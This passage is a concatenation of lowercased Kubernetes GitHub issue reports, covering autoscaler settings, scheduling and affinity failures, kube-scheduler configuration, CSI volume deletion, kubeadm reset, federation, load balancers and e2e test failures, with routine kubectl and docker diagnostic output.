. in both cases  kubectl  was  v1.10.0 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : arch linux\r - kernel  e.g.  uname -a  : 4.15.15-1-arch\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r feature request\r  \r   what happened  :\r in gke there is no way to change cluster-autoscaler settings like  --scale-down-unneeded-time  or  --scale-down-delay-after-delete  as they are command line args of a tool that resides on inaccessible  master  machine.\r \r there is a need to configure cluster-autoscaler using kubectl.\r \r this feature will be extremely useful in cases when there are infrequent high  that should be processed on a high performance machine with tens of cpus and hundreds gb of ram. such processing nodes should be created instantly and removed almost immediately after completion of job.\r in this case each minute of  cluster-autoscaler  inactivity could cost quite some money.\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : pod failing to be scheduled due to antiaffinity. there's 3 pods, 2 currently scheduled. there's a free az  prior to doing a deployment rollout 3 pods had been scheduled successfully within the same antiaffinity rules \r \r on restarting the scheduler, the pod is scheduled correctly.\r \r   what you expected to happen  : the pod to be scheduled\r \r   how to reproduce it  as minimally and precisely as possible   : unsure. happens intermittently\r \r   anything else we need to know?  :\r \r    \r $ k describe pod kube-apiserver-7cdc45f85d-q7ts7 | tail -n 4\r   type     reason              age                from               message\r   ----     ------              ----               ----               -------\r   normal   poddoestfitanynode  1m                 rescheduler        critical pod kube-system_kube-apiserver-7cdc45f85d-q7ts7 doesn't fit on any node.\r   warning  failedscheduling    11s  x16 over 2m   default-scheduler  0/60 nodes are available: 2 insufficient cpu, 5 insufficient memory, 60 existingpodsantiaffinityrulesnotmatch, 60 matchinterpodaffinity.\r \r \r $ k get pod -o yaml kube-apiserver-7cdc45f85d-q7ts7 | grep -a 10 affin\r   affinity:\r     podantiaffinity:\r       requiredduringschedulingignoredduringexecution:\r       - labelselector:\r           matchexpressions:\r           - key: appid\r             operator: in\r             values:\r             - kube-apiserver\r         topologykey: failure-domain.beta.kubernetes.io/zone\r   containers:\r \r $ k get pod -a -l appid=kube-apiserver\r name                              ready     status    restarts   age\r kube-apiserver-7cdc45f85d-b99hp   1/1       running   0          4m\r kube-apiserver-7cdc45f85d-bx7rr   1/1       running   0          27m\r kube-apiserver-7cdc45f85d-q7ts7   0/1       pending   0          3m\r \r \r scheduler logs contain no references to this pod, will be trying to reproduce at a higher debug level\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.10\ , gitcommit:\ 098570796b32895c38a9a1c9286425fb1ececa18\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t17:19:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.10\ , gitcommit:\ 098570796b32895c38a9a1c9286425fb1ececa18\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t17:11:51z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i had k8s 1.13.2 cluster create  1 master + 2 work node , after deploy my containers, i found all pods is deployed to same work node. i google for a while and i found this article scheduler performance tuning taking about new parameter \ percentageofnodestoscore\  after 1.12 and default is set to 50. i want to change to 100\r \r   what you expected to happen  :\r i made a scheduler_extra.conf with following content\r    \r $ cat /etc/kubernetes/scheduler_extra.conf\r apiversion: kubescheduler.config.k8s.io/v1alpha1\r kind: kubeschedulerconfiguration\r algorithmsource:\r    provider: defaultprovider\r percentageofnodestoscore: 100\r    \r and modify /etc/kubernetes/manifests/kube-scheduler.yaml as follow\r    \r .............\r spec:\r   containers:\r   - command:\r     - kube-scheduler\r     - --address=127.0.0.1\r     - --kubeconfig=/etc/kubernetes/scheduler.conf\r     - --config=/etc/kubernetes/scheduler_extra.conf <<--- i add this line\r     - --leader-elect=true\r ....................\r ....................\r volumemounts: <-- i change the following lines>\r     - mountpath: /etc/kubernetes/\r       name: kubeconfig\r       readonly: true\r   hostnetwork: true\r   priorityclassname: system-cluster-critical\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/\r       type: directory\r     name: kubeconfig\r ...............\r    \r however, after kube-scheduler pod be restart   by kubelet automatically  , i go into kube-scheduler pod but /etc/kubernetes/scheduler_extra.conf didn't be mounted into pod so that after i issue kube-scheduler --write-config-to=temp.conf and cat temp.conf, percentageofnodestoscore still are the defaulted value \ 50\ , not the value \ 100\  i input in scheduler_extra.conf.\r \r i use docker ps command to show the kube-scheduler pod startup command and found scheduler_extra.conf didn't be used \r \r    \r $docker ps --format \ {{.names}} {{.command}} {{.status}}\  --no-trunc | grep kube-scheduler\r k8s_kube-scheduler_kube-scheduler-paymentkubermaster_kube-system_a7914e6386c7369adde3dcf67c27fed6_3 \ kube-scheduler --address=127.0.0.1 --kubeconfig=/etc/kubernetes/scheduler.conf --leader-elect=true\  up 1 second\r    \r \r \r in the order word, it seems the --config parameter didn't be taken by kube-scheduler pod when it start up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use above description can be reproduced easily\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vms on our vmware vshpere 6.5\r - os  e.g. from /etc/os-release :  red hat enterprise linux server release 7.6  maipo \r - kernel  e.g.  uname -a  :  linux paymentkubermaster 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 15 17:36:42 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm -init\r - others:    \r i use kubeadm -init to install container version k8s\r $ docker images\r repository                           tag                 image id            created             size\r weaveworks/weave-npc                 2.5.1               789b7f496034        7 days ago          49.6mb\r weaveworks/weave-kube                2.5.1               1f394ae9e226        7 days ago          148mb\r k8s.gcr.io/kube-apiserver            v1.13.2             177db4b8e93a        2 weeks ago         181mb\r k8s.gcr.io/kube-proxy                v1.13.2             01cfa56edcfc        2 weeks ago         80.3mb\r k8s.gcr.io/kube-controller-manager   v1.13.2             b9027a78d94c        2 weeks ago         146mb\r k8s.gcr.io/kube-scheduler            v1.13.2             3193be46e0b3        2 weeks ago         79.6mb\r k8s.gcr.io/coredns                   1.2.6               f59dcacceff4        2 months ago        40mb\r k8s.gcr.io/etcd                      3.2.24              3cab8e1b9802        4 months ago        220mb\r k8s.gcr.io/pause                     3.1                 da86e6ba6ca1        13 months ago       742kb\r    \r \r 

using gce pd in-tree volumes with feature flags  csimigration=true,csimigrationgce=true  with csi external provisioner  v1.1.0  when pvc is deleted with  retentionpolicy=delete  the  delete  call is never triggered on the csi driver.\r \r this causes the pd to be leaked and the pv to never go away.\r \r feature is  alpha  so i think the impact of this is not high. however, a fix is required for  beta .\r \r discovered through testing with https://github.com/kubernetes/kubernetes/pull/77101 :+1: \r \r /assign @ddebroy \r /cc @msau42 @saad-ali @jsafrane @leakingtapan

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r running  kubeadm reset  fails to remove etcd member.\r \r   what you expected to happen  :\r i expect  kubeadm reset  to remove the node from the etcd cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r from a working 1.15.0 cluster, run  kubeadm reset  on a control plane node.\r \r   anything else we need to know?  :\r i _think_ the issues is due to the wrong function being used here: https://github.com/kubernetes/kubernetes/blob/223809de3b4cda726216271374ad704df02a44a5/cmd/kubeadm/app/cmd/phases/reset/removeetcdmember.go l39\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.15.0\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : talos\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r /cc @yagonobre

would be nice if we could send a stop signal down the watch interface  eg: while restarting a controller  and have the event broadcaster/event handler shutdown as well. this doesn't currently happen because the event handler keeps retrying: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/client/record/event.go l106  we only restart controllers  without restarting the entire process  in integration tests, so p3. @saad-ali fyi

there is no way, with kubectl, to find all the events about an object.  if the object still exists, you can use the \ describe\  command on it and that will list the relevant events.  but if the object doesn't still exist, the only way to get this data is via  kubectl get ev  and wade through lots of noise.

hello,  i need to make pods reachable from the internet, but i can't use elbs for that, because i need static ips. i want to use the elastic ips for that, but the nat that happens between the elastic ip and the private ip only translates the ip address, it can not translate the ports. the pods have overlapping ports, so i need to run one pod on each node. the problem with that is, that the pods that are reachable through elastic ip a need to run on the server that has elastic ip a bound to it. the reason for that is, that the response needs to come from the same node that the request came in on. if that is not the case, the packet is dropped when it is supposed to be routed on the node that the pod runs on. so to fix it, we need policy based routing and track the connections, so the responses are routed over the same network path that the request arrived over.

right now it is possible to add a cluster for which it won't be possible to create a client. for example client-related code does:      go for _, item := range c.spec.serveraddressbyclientcidrs {         _, cidrnet, err := net.parsecidr item.clientcidr       while validation checks only:      go if len spec.serveraddressbyclientcidrs  == 0 {      cc: @jianhuiz @quinton-hoole

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-autoscaling/288/  failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small and there is another node pool that is not autoscaled  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:89 expected error:     < errors.errorstring | 0xc820730010>: {         s: \ autoscaler not enabled\ ,     }     autoscaler not enabled not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:86

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant\r -   os    e.g. from /etc/os-release : ubuntu-14.04\r -   kernel    e.g.  uname -a  : linux dev-master01 3.13.0-85-generic  129-ubuntu smp thu mar 17 20:50:15 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : manual\r -   others  :\r \r \r   what happened  :\r \r i have  --service-cluster-ip-range=198.168.100.0/24 \r when i attempt to create a service with a predefined clusterip, i get the following:\r \r    the service \ kube-dns\  is invalid: spec.clusterip: invalid value: \ 192.168.100.13\ : provided ip is not in the valid range   \r \r if i remove the clusterip from the service definition, it creates a service inside the valid range...\r \r    name       cluster-ip        external-ip   port s          age\r kube-dns   198.168.100.186   <none>        53/udp,53/tcp   6s\r    \r \r   what you expected to happen  :\r it would consider an address from inside that range to be valid\r \r

kubernetes 1.6.0, installation aio with kubeadm\r centos 7.3\r  when kubeadm init run, the following error gets reported and kubelet fails to start:\r kubelet: error: failed to run kubelet: failed to create kubelet: misconfiguration: kubelet cgroup driver: \ cgroupfs\  is different from docker cgroup driver: \ systemd\

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws using juju\r -   os    e.g. from /etc/os-release : ubuntu xenial\r -   kernel    e.g.  uname -a  : 4.4.0-59-generic\r -   install tools  : juju\r -   others  :\r \r \r   what happened  : kubefed init entered a infinite loop health checking the federation api service  \r \r \r   what you expected to happen  : kubefed to exit with a success code\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r \r when doing a kubefed init on a cluster setup using vms on aws  using juju in my case  the worker nodes have two ips: one that is visible to the internet and one internal visible only to vms within aws. in my case for example the vm on aws hosting the kubernetes-worker node had external ip in the 54.174.73.1/24 subnet and it also had an internal ip in the 172.31.60.1/24 subnet. \r \r using a client machine outside aws to bootstrap federation:\r    \r kubefed init federation --host-cluster-context=juju-context --dns-provider=\ coredns\  --dns-zone-name=\ juju-fed.com.\  --etcd-persistent-storage=false --api-server-service-type=\ nodeport\  -v 9 --dns-provider-config=coredns-provider.conf\r    \r i got the kubefed client stuck on doing a health check against the clouds internal subnet  https://172.31.60.xxx:31860/healthz . to address this i can use the  --api-server-advertise-address  flag and pass the external ip of any kubernetes-worker node. with this flag kubeconfig file gets updated with the right endpoint for the federation-apiserver. however, apart from the  --api-server-advert  i should also be able to specify the desired port the service will be listening on. i have to make sure that port is opened on the aws routing/firewall prior to issuing  kubefed init . in the example above, kubefed init will try to reach https://54.174.73.xxx:31860/healthz, port 31860 is randomly assigned and is not reachable. i should be able to first open the port 31860 on aws and then do a  kubefed init  with  --api-server-service-type=\ nodeport\   and port pinned to 31860.\r

failure cluster  63a36434077ff31ae29e  https://go.k8s.io/triage 63a36434077ff31ae29e        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:187 expected error:     < errors.errorstring | 0xc4203ed8f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:185           failure cluster statistics: 25 tests failed,    37 jobs failed,    54 builds failed. failure stats cover 1 day time range '20 may 2017 17:55 utc' to '21 may 2017 17:55 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  dns should provide dns for the cluster  conformance  | 12 | |  k8s.io  dns should provide dns for pods for hostname and subdomain annotation | 12 | |  k8s.io  dns should provide dns for services  conformance  | 8 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-etcd2-release-1.6 | 5 |  21 may 2017 14:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd2-release-1.6/3241  | | ci-kubernetes-e2e-gci-gce-release-1.6 | 4 |  21 may 2017 14:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-release-1.6/3456  | | ci-kubernetes-e2e-gce-ubuntu-1-6 | 3 |  21 may 2017 14:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntu-1-6/1172  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | roberthbailey |  k8s.io  dns should provide dns for the cluster  conformance ;  k8s.io  dns should provide dns for services  conformance  | | mtaufen |  k8s.io  dns should provide dns for pods for hostname and subdomain annotation;  k8s.io  daemon set  serial  should run and stop simple daemon | | wonderfly |  k8s.io  kubernetes dashboard should check that the kubernetes-dashboard instance is alive | | sig/ui |  k8s.io  kubernetes dashboard should check that the kubernetes-dashboard instance is alive | | sig/node |  k8s.io  kubelet  k8s.io  clean up pods on node kubelet should be able to delete 10 pods per node in 1m0s.;  k8s.io  pods should get a host ip  conformance  | | sig/network |  k8s.io  dns should provide dns for the cluster  conformance ;  k8s.io  dns should provide dns for pods for hostname and subdomain annotation;  k8s.io  dns should provide dns for services  conformance  |  </details><br>   current status  https://go.k8s.io/triage 63a36434077ff31ae29e

they need to be triaged and issues need to be created.\r \r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster-new\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster\r \r @krousey \r 

is this a bug report or feature request?  :\r \r  \r @kubernetes/sig-network-bugs\r \r   what happened  :\r \r created a service of type \ loadbalancer\  with the following manifest: \r \r    \r kind: service                                                                                                                                                                                                 \r apiversion: v1                                                                                                                                                                                                \r metadata:                                                                                                                                                                                                     \r   name: linkerd                                                                                                                                                                                       \r   annotations:                                                                                                                                                                                                \r     cloud.google.com/load-balancer-type: \ internal\                                                                                                                                                            \r spec:                                                                                                                                                                                                         \r   selector:                                                                                                                                                                                                   \r     deployment: linkerd                                                                                                                                                                               \r   type: loadbalancer                                                                                                                                                                                          \r   ports:                                                                                                                                                                                                      \r   - name: admin-http                                                                                                                                                                                          \r     protocol: tcp                                                                                                                                                                                             \r     port: 9990\r   - name: thrift\r     protocol: tcp\r     port: 7033\r    \r \r   what you expected to happen  :\r \r expected the internal load balancer to be provisioned with an internal ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create the service above then:\r    \r $ kubectl describe svc linkerd\r name:                   linkerd\r namespace:              default\r annotations:            cloud.google.com/load-balancer-type=internal\r selector:               deployment=linkerd\r type:                   loadbalancer\r ip:                     10.3.xxx.xxx\r port:                   admin-http      9990/tcp\r nodeport:               admin-http      31154/tcp\r endpoints:\r port:                   thrift     7033/tcp\r nodeport:               thrift     31210/tcp\r endpoints:\r session affinity:       none\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                          message\r   ---------     --------        -----   ----                    -------------   --------        ------                          -------\r   32m           2m              12      service-controller                      normal          creatingloadbalancer            creating load balancer\r   32m           1m              12      service-controller                      warning         creatingloadbalancerfailed      error creating load balancer  will retry : failed to create load balancer for service default/linkerd: googleapi: error 400: invalid value for field 'resource.subnetwork': ''. network interface must specify a subnet if the network resource is in custom subnet mode., invalid\r    \r \r   anything else we need to know?  :\r \r this appears to be similar/related to https://github.com/kubernetes/kubernetes/issues/49577\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.1-gke.0\ , gitcommit:\ 841411e511bfb1ccd78e76bf8633d4515061e18b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t17:52:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r - cloud provider or hardware configuration  :\r gce/gke\r - os  e.g. from /etc/os-release :\r cos\r - kernel  e.g.  uname -a  :\r - install tools:\r helm 2.5.0\r - others:\r

it should be possible to script kube from the cli via simple commands in kubectl that implement the list-and-watch pattern and pass those objects to scripts.  examples  i want to watch all services and and tweak the external load balancer settings when it runs:      kubectl get services --watch --all -t \ {{ .portalip }}\ \  | xargs ...      needs something that makes it easy to exec a process per change, and potentially filter based on event type.

  \r i'd like to be able to use  vultr's block storage  https://www.vultr.com/features/blockstorage/  for persistent volumes for my kubernetes cluster.\r \r api: https://www.vultr.com/api/ block\r go library: https://github.com/jamesclonk/vultr\r

setup\r  - 2 nodes with 1gb ram\r  - 10 pods with requests: 10m limits: 500m\r  - fill em up until it fails  10x500m > 2x1g \r  - kubernetes v1.5.7 on aws\r \r     expected\r some nice event telling me that the pod got systemoom - oomkilled and a nice termination status ... not just \ error\  ... so we can report on this happening and it is obvious when debugging\r \r     actual\r watching pods shows:\r    \r                 \ laststate\ : {\r                     \ terminated\ : {\r                         \ containerid\ : \ docker://5954f621c17f13706c25a215db06fe2bf7b9a9a6c732a909eb0db39d62346724\ ,\r                         \ exitcode\ : 137,\r                         \ finishedat\ : \ 2017-10-10t17:41:58z\ ,\r                         \ reason\ : \ error\ ,\r                         \ startedat\ : \ 2017-10-10t17:20:37z\ \r                     }\r                 },\r    \r \r ... not very helpful ...  this is memcached exitcode when when -9 killed ... see https://forums.couchbase.com/t/regular-bucket-shutdown-and-exit-of-memcached-with-status-137/6046 \r \r watching events shows: nothing related to the error ... just the new pod spinning up\r \r kubelet logs show  sudo journalctl -u kubelet :\r \r    \r oct 10 17:41:58 ip-10-0-211-82.us-west-1.compute.internal kubelet 4991 : i1010 17:41:57.858757    4991 manager.go:1126  created an oom event in container \ /\  at 2017-10-10 17:41:57 +0000 utc\r oct 10 17:41:58 ip-10-0-211-82.us-west-1.compute.internal kubelet 4991 : i1010 17:41:57.858778    4991 oom_watcher.go:66  got sys oom event from cadvisor: &{/ 2017-10-10 17:41:57 +0000 utc oom {<nil>}}\r 0-0-211-82.us-west-1.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'warning' reason: 'systemoom' system oom encountered\r oct 10 17:41:58 ip-10-0-211-82.us-west-1.compute.internal kubelet 4991 : i1010 17:41:57.872612    4991 eviction_manager.go:272  eviction manager: no resources are starved\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r if a container is appended into a pod through a mutatingadmissionwebhook, the volume mount for the service account  containing  mountpath: /var/run/secrets/kubernetes.io/serviceaccount   does not get injected into this new container.\r \r   what you expected to happen  :\r all containers  despite being injected automatically by the mutatingadmissionwebhook or not  should get this volume mount.\r

currently, any container runtime has to be linked into the kubelet.  this makes experimentation difficult, and prevents users from landing an alternate container runtime without landing code in core kubernetes.  to facilitate experimentation and to enable user choice, we should add a client/server implementation of the container runtime interface.   this implementation will simply encode the requests, send them to a server where they will be decoded and sent into an instance of the container runtime interface.  however, this enables container runtime implementations to be built and maintained outside of the core kubernetes tree.  @dchen1107 @smarterclayton  @kubernetes/goog-node

\r   kubernetes version   \r \r    client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r \r federation server:\r    server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r \r cluster1:\r    server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r \r cluster2\r    server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r \r \r   environment  :\r - 2 gke clusters\r - federation setup from: https://github.com/kelseyhightower/kubernetes-cluster-federation\r \r \r   what happened  :\r i've added cluster with wrong  serveraddress . tried to delete it:\r \r    kubectl --context=$federationapi delete -f clusters/$cluster.yaml   \r \r which  removes cluster from the list:\r \r    kubectl --context=$federationapi get clusters   \r \r but  federation-controller-manager  produces constant errors:\r \r    1115 13:09:09.297103       1 reflector.go:214  k8s.io/kubernetes/federation/pkg/federation-controller/service/clusterhelper.go:155: failed to list  v1.service: get http://1.2.3.4/api/v1/services?resourceversion=0: dial tcp 1.2.3.4:80: i/o timeout   \r \r \r \r \r   anything else do we need to know  :\r - no trace of wrong address in etcd  federation-apiserver \r - deleting federation-controller-manager  spawned by deployment  fixes the issue\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r    minion flannel will write vm's ip to subnet key of etcd. if we need deploy k8s cluster in two different openstack tenant. only floating ip is visibility. but flannel map cluster ip to vm's private ip. this will cause some network problems.\r \r   what you expected to happen  :\r just add -public-ip=\ floating ip\  to flannel\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r  44680 introduced the persistent volume label controller to the cloud-controller-manager.  the first revision of the controller was basically a transplant of the admission controller, but to truly function as is intended the linkage to the ec2 and gce volumes needs to be removed.

hi all,\r i have run docker with command\r docker run -d --name=turnserver -p 64900-65000:64900-65000 turnserver:v0.1\r i have a question. does kubernetes support map hostport with range?\r thank all.

 /area cloudprovider\r \r   current  \r \r the  service controller  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/service_controller.go l735  fetches the service from the apiserver to sync. if the service no longer exists, then the load balancer is deleted. if the deletion fails  say networking issues or something , then the service key will be added back to the queue to be retried later. this works well until the service controller is restarted while a delete is in process or queued to be processed. at that point, the new service controller that takes over will never see the deleted service since the service has been deleted from etcd. \r \r   proposal  \r \r the service account controller should be a  finalizer  https://github.com/kubernetes/community/blob/58b1c30d95719749068497ba35dfe4c64b21aa72/contributors/design-proposals/api-machinery/garbage-collection.md orphaning-the-descendants-with-orphan-finalizer  on all services. then we can ensure that the load balancer is successfully deleted prior to the service being deleted. that will make the delete process resilient to restarts / changes in leadership. \r \r cc @andrewsykim @wlan0 @luxas @prydie \r \r \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r  /area ipv6\r \r   what happened  :\r if the e2e serviceloadbalancer test  \  it  should support simple get on ingress ips\  \r is run with a \ local\  or \ skeleton\  cloud provider  or the cloud provider doesn't have any external ips\r available , e.g.:\r    \r go run hack/e2e.go -- --provider=local -v --test --test_args=\ --host=https://<api-service-ip:443 --ginkgo.focus=serviceloadbalancer --num-nodes=2\ \r    \r then the test fails with the following error:\r    \r   expected error:\r       < errors.errorstring | 0xc42017df00>: {\r           s: \ no external ips found for loadbalancer haproxy\ ,\r       }\r       no external ips found for loadbalancer haproxy\r   not to have occurred\r    \r \r   what you expected to happen  :\r it would be helpful to allow for someone to run the e2e serviceloadbalancer test in setups that don't have a cloud provider, or external ips aren't explicity configured by a provider. this could be done in a couple of ways:\r \r - have the e2e serviceloadbalancer e2e test fallback to using internal node addresses when there's no cloud provider or no external node ips configured. in some setups, the internal addresses, even though they're not explicitly external ips, might provide the connectivity to allow the e2e test to connect to the nodes.\r - allow a user to manually enter/configure external ips for the node  outside of the cloud provider plugin mechanism .\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the serviceloadbalancer with a \ local\  or \ skeleton\  cloud provider, e.g.:\r    \r go run hack/e2e.go -- --provider=local -v 